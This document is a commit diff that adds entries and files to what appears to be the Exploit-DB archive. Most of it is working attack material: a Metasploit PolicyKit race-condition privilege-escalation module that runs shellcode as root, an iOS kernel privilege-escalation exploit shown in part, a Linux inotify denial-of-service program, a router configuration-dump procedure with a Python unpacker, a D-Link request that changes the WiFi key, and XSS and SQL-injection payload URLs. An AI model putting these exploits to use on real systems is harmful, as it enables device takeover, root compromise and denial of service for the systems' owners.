Updated 10_22_2014
This commit is contained in:
parent
195bc38235
commit
a7cf4f066c
18 changed files with 1291 additions and 0 deletions
17
files.csv
17
files.csv
|
@ -31228,6 +31228,7 @@ id,file,description,date,author,platform,type,port
|
|||
34677,platforms/php/webapps/34677.txt,"WebStatCaffe stat/pageviewers.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34678,platforms/php/webapps/34678.txt,"WebStatCaffe stat/pageviewerschart.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34679,platforms/php/webapps/34679.txt,"WebStatCaffe stat/referer.php date Parameter XSS",2009-08-29,Moudi,php,webapps,0
|
||||
34680,platforms/hardware/webapps/34680.txt,"ZTE ZXDSL-931VII - Unauthenticated Configuration Dump",2014-09-16,"L0ukanik0-s S0kniaku0l",hardware,webapps,0
|
||||
34681,platforms/php/webapps/34681.txt,"Wordpress Slideshow Gallery 1.4.6 - Shell Upload (Python Exploit)",2014-09-16,"Claudio Viviani",php,webapps,0
|
||||
34682,platforms/ios/webapps/34682.txt,"USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability",2014-09-16,Vulnerability-Lab,ios,webapps,8080
|
||||
34683,platforms/php/webapps/34683.txt,"e-soft24 Article Directory Script 'q' Parameter Cross Site Scripting Vulnerability",2009-08-30,"599eme Man",php,webapps,0
|
||||
|
@ -31333,6 +31334,7 @@ id,file,description,date,author,platform,type,port
|
|||
34796,platforms/multiple/remote/34796.txt,"Oracle MySQL Prior to 5.1.50 Privilege Escalation Vulnerability",2010-08-03,"Libing Song",multiple,remote,0
|
||||
34797,platforms/php/webapps/34797.txt,"SurgeMail SurgeWeb 4.3e Cross Site Scripting Vulnerability",2010-10-04,"Kerem Kocaer",php,webapps,0
|
||||
34798,platforms/php/webapps/34798.txt,"ITS SCADA Username SQL Injection Vulnerability²",2010-10-04,"Eugene Salov",php,webapps,0
|
||||
34800,platforms/php/webapps/34800.txt,"Typo3 JobControl 2.14.0 - Cross Site Scripting / SQL Injection",2014-09-27,"Adler Freiheit",php,webapps,0
|
||||
34802,platforms/hardware/remote/34802.html,"Research In Motion BlackBerry Device Software <= 4.7.1 Cross Domain Information Disclosure Vulnerability",2010-10-04,"599eme Man",hardware,remote,0
|
||||
34803,platforms/php/webapps/34803.txt,"Online Guestbook Pro 5.1 'ogp_show.php' Cross Site Scripting Vulnerability",2009-07-09,Moudi,php,webapps,0
|
||||
34804,platforms/php/webapps/34804.txt,"Rentventory 'index.php' Multiple Cross Site Scripting Vulnerabilities",2009-07-07,"599eme Man",php,webapps,0
|
||||
|
@ -31521,3 +31523,18 @@ id,file,description,date,author,platform,type,port
|
|||
35004,platforms/php/webapps/35004.txt,"CompactCMS 1.4.1 Multiple Cross Site Scripting Vulnerabilities",2010-11-18,"High-Tech Bridge SA",php,webapps,0
|
||||
35005,platforms/windows/remote/35005.html,"WebKit Insufficient Entropy Random Number Generator Weakness (1)",2010-11-18,"Amit Klein",windows,remote,0
|
||||
35006,platforms/windows/remote/35006.html,"WebKit Insufficient Entropy Random Number Generator Weakness (2)",2010-11-18,"Amit Klein",windows,remote,0
|
||||
35007,platforms/windows/remote/35007.c,"Native Instruments Multiple Products DLL Loading Arbitrary Code Execution Vulnerability",2010-11-19,"Gjoko Krstic",windows,remote,0
|
||||
35008,platforms/cgi/webapps/35008.txt,"Hot Links SQL 3.2 'report.cgi' SQL Injection Vulnerability",2010-11-22,"Aliaksandr Hartsuyeu",cgi,webapps,0
|
||||
35009,platforms/php/webapps/35009.txt,"AuraCMS 1.62 'pdf.php' SQL Injection Vulnerability",2010-11-22,"Don Tukulesto",php,webapps,0
|
||||
35010,platforms/osx/local/35010.c,"Apple iOS <= 4.0.2 Networking Packet Filter Rules Local Privilege Escalation Vulnerability",2010-11-22,Apple,osx,local,0
|
||||
35011,platforms/linux/remote/35011.txt,"Apache Tomcat <= 7.0.4 'sort' and 'orderBy' Parameters Cross Site Scripting Vulnerabilities",2010-11-22,"Adam Muntner",linux,remote,0
|
||||
35012,platforms/multiple/webapps/35012.txt,"ZyXEL P-660R-T1 V2 'HomeCurrent_Date' Parameter Cross-Site Scripting Vulnerability",2010-11-23,"Usman Saeed",multiple,webapps,0
|
||||
35013,platforms/linux/dos/35013.c,"Linux Kernel 2.6.x 'inotify_init()' Memory Leak Local Denial of Service Vulnerability",2010-11-24,"Vegard Nossum",linux,dos,0
|
||||
35014,platforms/hardware/remote/35014.txt,"D-Link DIR-300 WiFi Key Security Bypass Vulnerability",2010-11-24,"Gaurav Saha",hardware,remote,0
|
||||
35015,platforms/cgi/webapps/35015.txt,"SimpLISTic SQL 2.0 'email.cgi' Cross Site Scripting Vulnerability",2010-11-24,"Aliaksandr Hartsuyeu",cgi,webapps,0
|
||||
35016,platforms/php/webapps/35016.txt,"Easy Banner 2009.05.18 member.php Multiple Parameter SQL Injection Authentication Bypass",2010-11-26,"Aliaksandr Hartsuyeu",php,webapps,0
|
||||
35017,platforms/php/webapps/35017.txt,"Easy Banner 2009.05.18 index.php Multiple Parameter XSS",2010-11-26,"Aliaksandr Hartsuyeu",php,webapps,0
|
||||
35019,platforms/windows/local/35019.py,"Windows OLE Package Manager SandWorm Exploit",2014-10-20,"Vlad Ovtchinikov",windows,local,0
|
||||
35020,platforms/win32/local/35020.rb,"MS14-060 Microsoft Windows OLE Package Manager Code Execution",2014-10-20,metasploit,win32,local,0
|
||||
35021,platforms/linux/local/35021.rb,"Linux PolicyKit Race Condition Privilege Escalation",2014-10-20,metasploit,linux,local,0
|
||||
35022,platforms/php/webapps/35022.txt,"4homepages 4images 1.7.x 'categories.php' Parameter SQL Injection Vulnerability",2010-11-29,"Ahmed Atif",php,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
9
platforms/cgi/webapps/35008.txt
Executable file
9
platforms/cgi/webapps/35008.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/45000/info
|
||||
|
||||
Hot Links SQL is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Hot Links SQL 3.2.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/report.cgi?id=999; or 'a'='a
|
9
platforms/cgi/webapps/35015.txt
Executable file
9
platforms/cgi/webapps/35015.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/45040/info
|
||||
|
||||
SimpLISTic SQL is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
SimpLISTic SQL 2.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
Email: email@example.com</textarea><script>alert('XSS vulnerability')</script>
|
19
platforms/hardware/remote/35014.txt
Executable file
19
platforms/hardware/remote/35014.txt
Executable file
|
@ -0,0 +1,19 @@
|
|||
source: http://www.securityfocus.com/bid/45038/info
|
||||
|
||||
The D-Link DIR-300 wireless router is prone to a security-bypass vulnerability.
|
||||
|
||||
Remote attackers can exploit this issue to modify the WiFi key and possibly other configuration settings. Successful exploits will lead to other attacks.
|
||||
|
||||
POST http://www.example.com/bsc_wlan.php HTTP/1.1
|
||||
Host: www.example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml
|
||||
Accept-Charset: ISO-8859-1,utf-8
|
||||
Keep-Alive: 115
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 1000
|
||||
|
||||
ACTION_POST=final&f_enable=1&f_wps_enable=1&f_ssid=KingGeorgeV&f_channel=6&f_auto_channel=0&f_super_g=&f_xr=&f_txrate=0&f_wmm_enable=0&f_ap_hidden=0&f_authentication=7&f_cipher=2&f_wep_len=&f_wep_format=&f_wep_def_key=&f_wep=&f_wpa_psk_type=1&f_wpa_psk=
|
||||
<<the_wifi_password_here>>&f_radius_ip1=&f_radius_port1=&f_radius_secret1=
|
94
platforms/hardware/webapps/34680.txt
Executable file
94
platforms/hardware/webapps/34680.txt
Executable file
|
@ -0,0 +1,94 @@
|
|||
# Exploit Title: ZTE ZXDSL-931VII Unauthenticated Configuration Dump
|
||||
# Google Dork: use your imagination
|
||||
# Date: 09-12-2014
|
||||
# Exploit Author: L0ukanik0sGR
|
||||
# Vendor Homepage: www.zte.com.cn
|
||||
# Software Link: https://www.ote.gr/web/guest/help-and-support/internet/vdsl/-/support/article/870213%3Bjsessionid=01605E58A483CF54BB0E95208F531764.node3_1_OTEGR?! original firmware for that device could not be found but it works to all zte devices with custom ISP firmware :)
|
||||
# Version: 931vii,w300 and all zte products running that firmware
|
||||
# Tested on: linux other os compatible
|
||||
# CVE : None yet it's a 0day
|
||||
|
||||
|
||||
ZTE ZXDSL-931VII Unauthenticated Configuration Dump
|
||||
|
||||
Unauthenticated Configuration File Download and
|
||||
Decompression of the _config.bin file
|
||||
by L0ukanik0s,GR 2014,l0ukanik0s@hotmail.com
|
||||
|
||||
|
||||
Exploit PoC:
|
||||
|
||||
1. Go to http://router-ip/ manager_dev_config_t.gch
|
||||
|
||||
2.
|
||||
Click on 'Backup Configuration' and obtain the _config.bin
|
||||
|
||||
3.
|
||||
Download python script from http://pastebin.com/i6dfsL5D
|
||||
|
||||
4.
|
||||
Then compile and run zte-0day.py (root@l0ukanik0s:~# python zte-0day.py)
|
||||
|
||||
5.
|
||||
Insert the path of the _config.bin file hit 'ENTER'
|
||||
|
||||
6.
|
||||
Enjoy your configuration dump
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#!/usr/bin/env python
|
||||
import zlib
|
||||
#scripte originated from http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib
|
||||
print "################################################"
|
||||
print "# THe W0lf is so close #"
|
||||
print "# ZTE 931Vii Router configuration unpacker #"
|
||||
print "# Find configuration file @ #"
|
||||
print "# http://192.168.1.1/manager_dev_config_t.gch #"
|
||||
print "# L0ukanik0s 2014 Hack-Hosting #"
|
||||
print "# l0ukanik0s@hotmail.com #"
|
||||
print "################################################"
|
||||
|
||||
print "Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin"
|
||||
configfile = raw_input("File Path :").strip()
|
||||
|
||||
magic_numbers = ['\x78\xDA']
|
||||
filename = configfile
|
||||
|
||||
|
||||
infile = open(filename, 'r')
|
||||
data = infile.read()
|
||||
|
||||
|
||||
pos = 0
|
||||
found = False
|
||||
|
||||
|
||||
while pos < len(data):
|
||||
window = data[pos:pos+2]
|
||||
for marker in magic_numbers:
|
||||
if window == marker:
|
||||
found = True
|
||||
start = pos
|
||||
print "Start of zlib %s" % pos
|
||||
rest_of_data = data[start:]
|
||||
decomp_obj = zlib.decompressobj()
|
||||
uncompressed_msg = decomp_obj.decompress(rest_of_data)
|
||||
print "Configuration of ZTE 931 File Content: %s" % uncompressed_msg
|
||||
break
|
||||
if pos == len(data):
|
||||
break
|
||||
pos += 1
|
||||
|
||||
|
||||
if found:
|
||||
header = data[:start]
|
||||
footer = decomp_obj.unused_data
|
||||
|
||||
|
||||
if not found:
|
||||
print "Sorry, no zlib found."
|
||||
|
23
platforms/linux/dos/35013.c
Executable file
23
platforms/linux/dos/35013.c
Executable file
|
@ -0,0 +1,23 @@
|
|||
source: http://www.securityfocus.com/bid/45036/info
|
||||
|
||||
The Linux kernel is prone to a local denial-of-service vulnerability.
|
||||
|
||||
Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users.
|
||||
|
||||
#include <sys/inotify.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int fds[2];
|
||||
|
||||
/* Circumvent max inotify instances limit */
|
||||
while (pipe(fds) != -1)
|
||||
;
|
||||
|
||||
while (1)
|
||||
inotify_init();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
354
platforms/linux/local/35021.rb
Executable file
354
platforms/linux/local/35021.rb
Executable file
|
@ -0,0 +1,354 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
|
||||
include Msf::Exploit::Local::Linux
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux PolicyKit Race Condition Privilege Escalation',
|
||||
'Description' => %q(
|
||||
A race condition flaw was found in the PolicyKit pkexec utility and polkitd
|
||||
daemon. A local user could use this flaw to appear as a privileged user to
|
||||
pkexec, allowing them to execute arbitrary commands as root by running
|
||||
those commands with pkexec.
|
||||
|
||||
Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
|
||||
libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
|
||||
(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xi4oyu', # exploit
|
||||
'0a29406d9794e4f9b30b3c5d6702c708' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1485' ],
|
||||
[ 'EDB', '17942' ],
|
||||
[ 'OSVDB', '72261' ]
|
||||
],
|
||||
'DisclosureDate' => "Apr 01 2011"
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
|
||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
|
||||
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||
])
|
||||
end
|
||||
|
||||
def executable_path
|
||||
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
@executable_path
|
||||
end
|
||||
|
||||
def exploit
|
||||
main = %q^
|
||||
/*
|
||||
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
|
||||
* Author: xi4oyu
|
||||
* Tested on: rhel 6
|
||||
* CVE : 2011-1485
|
||||
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
|
||||
* U can reach us @ http://www.wooyun.org :)
|
||||
* 0a2940: some changes
|
||||
*/
|
||||
/*
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <termios.h>
|
||||
#include <sys/stat.h>
|
||||
#include <errno.h>
|
||||
#include <poll.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
*/
|
||||
|
||||
#define dprintf
|
||||
|
||||
#define NULL ((void*)0)
|
||||
|
||||
#define MAP_PRIVATE 0x02
|
||||
#define MAP_FIXED 0x10
|
||||
#define MAP_ANONYMOUS 0x20
|
||||
#define MAP_ANON MAP_ANONYMOUS
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define PROT_EXEC 0x4
|
||||
|
||||
#define O_CREAT 64
|
||||
#define O_RDWR 2
|
||||
|
||||
#define POLLRDNORM 0x0040
|
||||
|
||||
typedef int __pid_t;
|
||||
typedef int __time_t;
|
||||
typedef
|
||||
struct {
|
||||
long __val[2];
|
||||
} __quad_t;
|
||||
typedef __quad_t __dev_t;
|
||||
typedef long __ino_t;
|
||||
typedef unsigned long __mode_t;
|
||||
typedef long __nlink_t;
|
||||
typedef unsigned int __uid_t;
|
||||
typedef unsigned int __gid_t;
|
||||
typedef long long __off_t;
|
||||
typedef long __blksize_t;
|
||||
typedef long long __blkcnt_t;
|
||||
struct _stat_buff {
|
||||
__dev_t st_dev; /* Device. */
|
||||
unsigned short int __pad1;
|
||||
__ino_t st_ino; /* File serial number. */
|
||||
__mode_t st_mode; /* File mode. */
|
||||
__nlink_t st_nlink; /* Link count. */
|
||||
__uid_t st_uid; /* User ID of the file's owner. */
|
||||
__gid_t st_gid; /* Group ID of the file's group.*/
|
||||
__dev_t st_rdev; /* Device number, if device. */
|
||||
unsigned short int __pad2;
|
||||
__off_t st_size; /* Size of file, in bytes. */
|
||||
__blksize_t st_blksize; /* Optimal block size for I/O. */
|
||||
__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
|
||||
__time_t st_atime; /* Time of last access. */
|
||||
unsigned long int st_atimensec; /* Nscecs of last access. */
|
||||
__time_t st_mtime; /* Time of last modification. */
|
||||
unsigned long int st_mtimensec; /* Nsecs of last modification. */
|
||||
__time_t st_ctime; /* Time of last status change. */
|
||||
unsigned long int st_ctimensec; /* Nsecs of last status change. */
|
||||
unsigned long int __unused4;
|
||||
unsigned long int __unused5;
|
||||
};
|
||||
|
||||
struct _pollfd {
|
||||
int fd; /* file descriptor */
|
||||
short events; /* requested events */
|
||||
short revents; /* returned events */
|
||||
};
|
||||
typedef unsigned long size_t;
|
||||
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
|
||||
extern int mprotect(void *__addr, size_t __len, int __prot);
|
||||
extern void exit(int __status);
|
||||
extern int printf(const char *__format, ...);
|
||||
extern __pid_t fork(void);
|
||||
extern __time_t time(__time_t *t);
|
||||
extern __pid_t getpid(void);
|
||||
extern __uid_t geteuid(void);
|
||||
extern void srand(unsigned int seed);
|
||||
extern int snprintf(char *str, size_t size, const char *format, ...);
|
||||
extern int pipe(int pipefd[2]);
|
||||
extern int close(int fd);
|
||||
extern void write(int fd, const void *buf, size_t count);
|
||||
extern int dup2(int oldfd, int newfd);
|
||||
extern void perror(const char *__s);
|
||||
extern void read(int fd, void *buf, size_t count);
|
||||
extern int execve(const char *filename, char *const argv[], char *const envp);
|
||||
extern int usleep(int usec);
|
||||
extern void *memset(void *s, int c, size_t n);
|
||||
extern void *memcpy(void * dst, const void *src, size_t n);
|
||||
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
|
||||
extern char *strstr(const char *haystack, const char *needle);
|
||||
extern int rand(void);
|
||||
extern int unlink(const char *__name);
|
||||
|
||||
int main(int argc,char *argv[], char ** envp)
|
||||
{
|
||||
|
||||
__time_t tim_seed1;
|
||||
__pid_t pid_seed2;
|
||||
int result;
|
||||
struct _stat_buff stat_buff;
|
||||
|
||||
char * chfn_path = "/usr/bin/chfn";
|
||||
char * cmd_path = "";
|
||||
|
||||
char * pkexec_argv[] = {
|
||||
"/usr/bin/pkexec",
|
||||
"/bin/sh",
|
||||
"-c",
|
||||
cmd_path,
|
||||
NULL
|
||||
};
|
||||
int pipe1[2];
|
||||
int pipe2[2];
|
||||
int pipe3[2];
|
||||
__pid_t pid,pid2 ;
|
||||
char * chfn_argv[] = {
|
||||
"/usr/bin/chfn",
|
||||
NULL
|
||||
};
|
||||
|
||||
char buff[8];
|
||||
char read_buff[4096];
|
||||
char real_path[512];
|
||||
|
||||
int count = 0;
|
||||
int flag = 0;
|
||||
unsigned int usleep1 = 0;
|
||||
unsigned int usleep2 = 0;
|
||||
|
||||
tim_seed1 = time(NULL);
|
||||
pid_seed2 = getpid();
|
||||
srand(tim_seed1+pid_seed2);
|
||||
|
||||
if(!geteuid()){
|
||||
|
||||
unlink(cmd_path);
|
||||
|
||||
SHELLCODE
|
||||
|
||||
int shellcode_size = 0;
|
||||
int i;
|
||||
unsigned long (*func)();
|
||||
func = mmap(NULL, 0x1000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS,
|
||||
0, 0
|
||||
);
|
||||
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
|
||||
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
|
||||
//for (i = 0; i < shellcode_size; i++) {
|
||||
//(char)func[i] = (char)shellcode[i];
|
||||
memcpy(func,shellcode,shellcode_size);
|
||||
//}
|
||||
dprintf("Forking before calling shellcode: 0x%p\n", func);
|
||||
if (fork()) {
|
||||
exit(0);
|
||||
}
|
||||
func();
|
||||
}
|
||||
|
||||
if(pipe(pipe1)){
|
||||
perror("pipe");
|
||||
exit(-2);
|
||||
}
|
||||
|
||||
for(count = COUNT; count && !flag; count--){
|
||||
dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
|
||||
pid = fork();
|
||||
if( !pid ){
|
||||
// Parent
|
||||
if( !pipe(pipe2)){
|
||||
if(!pipe(pipe3)){
|
||||
pid2 = fork();
|
||||
if(!pid2){
|
||||
// Parent 2
|
||||
close(1);
|
||||
close(2);
|
||||
close(pipe1[0]);
|
||||
dup2(pipe1[1],2);
|
||||
dup2(pipe1[1],1);
|
||||
close(pipe1[1]);
|
||||
close(pipe2[0]);
|
||||
close(pipe3[1]);
|
||||
write(pipe2[1],"\xFF",1);
|
||||
read(pipe3[0],&buff,1);
|
||||
execve(pkexec_argv[0],pkexec_argv,envp);
|
||||
perror("execve pkexec");
|
||||
exit(-3);
|
||||
}
|
||||
close(0);
|
||||
close(1);
|
||||
close(2);
|
||||
close(pipe2[1]);
|
||||
close(pipe3[0]);
|
||||
read(pipe2[0],&buff,1);
|
||||
write(pipe3[1],"\xFF",1);
|
||||
usleep(usleep1+usleep2);
|
||||
execve(chfn_argv[0],chfn_argv,envp);
|
||||
perror("execve setuid");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
perror("pipe3");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
|
||||
memset(pipe3,0,8);
|
||||
|
||||
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
|
||||
pollfd->fd = pipe1[0];
|
||||
pollfd->events = POLLRDNORM;
|
||||
|
||||
if(poll(pollfd,1,1000) < 0){
|
||||
perror("poll");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(pollfd->revents & POLLRDNORM ){
|
||||
memset(read_buff,0,4096);
|
||||
read(pipe1[0],read_buff,4095);
|
||||
if( strstr(read_buff,"does not match")){
|
||||
usleep1 += 100;
|
||||
usleep2 = rand() % 1000;
|
||||
}else{
|
||||
if(usleep1 > 0){
|
||||
usleep1 -= 100;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
result = 0;
|
||||
unlink(cmd_path);
|
||||
return result;
|
||||
}
|
||||
|
||||
^
|
||||
main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
|
||||
main.gsub!(/COUNT/, datastore["Count"].to_s)
|
||||
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
|
||||
|
||||
cpu = nil
|
||||
if target['Arch'] == ARCH_X86
|
||||
cpu = Metasm::Ia32.new
|
||||
elsif target['Arch'] == ARCH_X86_64
|
||||
cpu = Metasm::X86_64.new
|
||||
end
|
||||
|
||||
begin
|
||||
elf = Metasm::ELF.compile_c(cpu, main).encode_string
|
||||
rescue
|
||||
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
|
||||
elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
|
||||
elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
||||
rm_f executable_path
|
||||
write_file(executable_path, elf)
|
||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||
output.each_line { |line| print_debug line.chomp }
|
||||
|
||||
stime = Time.now.to_f
|
||||
print_status "Starting the payload handler..."
|
||||
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
||||
Rex.sleep(1)
|
||||
end
|
||||
end
|
||||
end
|
7
platforms/linux/remote/35011.txt
Executable file
7
platforms/linux/remote/35011.txt
Executable file
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/45015/info
|
||||
|
||||
Apache Tomcat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
http:/www.example.com/html/sessions?path=/&sort=[xss]
|
7
platforms/multiple/webapps/35012.txt
Executable file
7
platforms/multiple/webapps/35012.txt
Executable file
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/45027/info
|
||||
|
||||
ZyXEL P-660R-T1 V2 is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
http://www.example.com/Forms/home_1?&HomeCurrent_Date='<sCript>alert(1);</ScRiPt>'01%2F01%2F2000
|
185
platforms/osx/local/35010.c
Executable file
185
platforms/osx/local/35010.c
Executable file
|
@ -0,0 +1,185 @@
|
|||
source: http://www.securityfocus.com/bid/45010/info
|
||||
|
||||
Apple iOS is prone to a local privilege-escalation vulnerability.
|
||||
|
||||
Local attackers running malicious code can exploit this issue to elevate their privileges. Successful attacks will completely compromise an affected device.
|
||||
|
||||
int main() {
|
||||
unsigned int target_addr = CONFIG_TARGET_ADDR;
|
||||
unsigned int target_addr_real = target_addr & ~1;
|
||||
unsigned int target_pagebase = target_addr & ~0xfff;
|
||||
unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24;
|
||||
assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0));
|
||||
unsigned short *p = (void *) target_addr_real;
|
||||
if(target_addr_real & 2) *p++ = 0x46c0; // nop
|
||||
*p++ = 0x4b00; // ldr r3, [pc]
|
||||
*p++ = 0x4718; // bx r3
|
||||
*((unsigned int *) p) = (unsigned int) &ok_go;
|
||||
assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC));
|
||||
|
||||
// Yes, reopening is necessary
|
||||
pffd = open("/dev/pf", O_RDWR);
|
||||
ioctl(pffd, DIOCSTOP);
|
||||
assert(!ioctl(pffd, DIOCSTART));
|
||||
unsigned int sysent_patch = CONFIG_SYSENT_PATCH;
|
||||
while(num_decs--)
|
||||
pwn(sysent_patch+3);
|
||||
assert(!ioctl(pffd, DIOCSTOP));
|
||||
close(pffd);
|
||||
|
||||
assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000));
|
||||
assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000));
|
||||
assert(!mlock((void *) target_pagebase, 0x2000));
|
||||
#ifdef DEBUG
|
||||
printf("ok\n"); fflush(stdout);
|
||||
#endif
|
||||
syscall(0);
|
||||
#ifdef DEBUG
|
||||
printf("we're out\n"); fflush(stdout);
|
||||
#endif
|
||||
//...
|
||||
}
|
||||
//...
|
||||
|
||||
static void pwn(unsigned int addr) {
|
||||
struct pfioc_trans trans;
|
||||
struct pfioc_trans_e trans_e;
|
||||
struct pfioc_pooladdr pp;
|
||||
struct pfioc_rule pr;
|
||||
|
||||
memset(&trans, 0, sizeof(trans));
|
||||
memset(&trans_e, 0, sizeof(trans_e));
|
||||
memset(&pr, 0, sizeof(pr));
|
||||
|
||||
trans.size = 1;
|
||||
trans.esize = sizeof(trans_e);
|
||||
trans.array = &trans_e;
|
||||
trans_e.rs_num = PF_RULESET_FILTER;
|
||||
memset(trans_e.anchor, 0, MAXPATHLEN);
|
||||
assert(!ioctl(pffd, DIOCXBEGIN, &trans));
|
||||
u_int32_t ticket = trans_e.ticket;
|
||||
|
||||
assert(!ioctl(pffd, DIOCBEGINADDRS, &pp));
|
||||
u_int32_t pool_ticket = pp.ticket;
|
||||
|
||||
pr.action = PF_PASS;
|
||||
pr.nr = 0;
|
||||
pr.ticket = ticket;
|
||||
pr.pool_ticket = pool_ticket;
|
||||
memset(pr.anchor, 0, MAXPATHLEN);
|
||||
memset(pr.anchor_call, 0, MAXPATHLEN);
|
||||
|
||||
pr.rule.return_icmp = 0;
|
||||
pr.rule.action = PF_PASS;
|
||||
pr.rule.af = AF_INET;
|
||||
pr.rule.proto = IPPROTO_TCP;
|
||||
pr.rule.rt = 0;
|
||||
pr.rule.rpool.proxy_port[0] = htons(1);
|
||||
pr.rule.rpool.proxy_port[1] = htons(1);
|
||||
|
||||
pr.rule.src.addr.type = PF_ADDR_ADDRMASK;
|
||||
pr.rule.dst.addr.type = PF_ADDR_ADDRMASK;
|
||||
|
||||
